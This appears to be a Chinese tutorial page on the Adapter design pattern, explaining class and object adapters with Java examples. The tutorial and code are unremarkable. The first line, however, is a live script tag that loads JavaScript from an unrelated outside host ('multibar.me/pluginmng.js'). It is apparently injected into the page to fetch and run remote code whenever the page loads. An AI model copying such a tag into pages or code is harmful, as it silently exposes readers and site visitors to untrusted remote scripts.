<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
六:适配器 (Adapter) 模式
把一个类的接口转换成客户端所期待的另一种接口,从而使得原本因为接口不匹配而无法在一起工作的两个类能够在一起工作。适配器模式有类的适配器模式和对象的适配器模式两种不同的形式。
(1) 类的适配器模式:把被适配的类的 API 转换成目标类的 API ,使用了继承
涉及的角色:
目标角色 (Target) :所期待的接口
源 (Adaptee) 角色:目前需要适配的接口
适配器 (Adapter) 角色:适配器类是该模式的核心,它把源接口转换成目标接口。既扩展了 Adaptee 又实现了目标接口。
(2) 对象的适配器模式:使用委派关系连接到 Adaptee 类
涉及的角色:
目标角色 (Target) :所期待的接口
源 (Adaptee) 角色:目前需要适配的接口
适配器 (Adapter) 角色:适配器类是该模式的核心,它把源接口转换成目标接口。实现了目标接口并且拥有一个源属性。
适配器模式的场景:
(1) 系统要使用现有的类,而此类的接口不符合系统的需要。
(2) 想要建立一个可以重复使用的类,用于与一些彼此之间没有太大关联的一些类,包括一些可能在将来引进的类一起工作。
/**对象的适配器模式**/
package com.co.patterns.adapter.object;
public interface Target {
void operation1();
void operation2();
}
public class Adaptee {
public void operation1() {}
}
public class Adapter implements Target {
private Adaptee adaptee;
public Adapter(Adaptee adaptee) {
super();
this.adaptee = adaptee;
}
@Override
public void operation1() {
/*
* 源类有该方法,因此适配器类直接委派即可
*/
adaptee.operation1();
}
@Override
public void operation2() {
/*
* 由于源接口没有此方法,所以在适配器中提供这个方法。
*/
}
}
/**类的适配器模式**/
package com.co.patterns.adapter.type;
public interface Target {
void operation1();
void operation2();
}
public class Adaptee {
public void operation1() {}
}
public class Adapter extends Adaptee implements Target {
public void operation2() {
/*
* 由于源接口没有此方法,所以在适配器中提供这个方法。
*/
}
}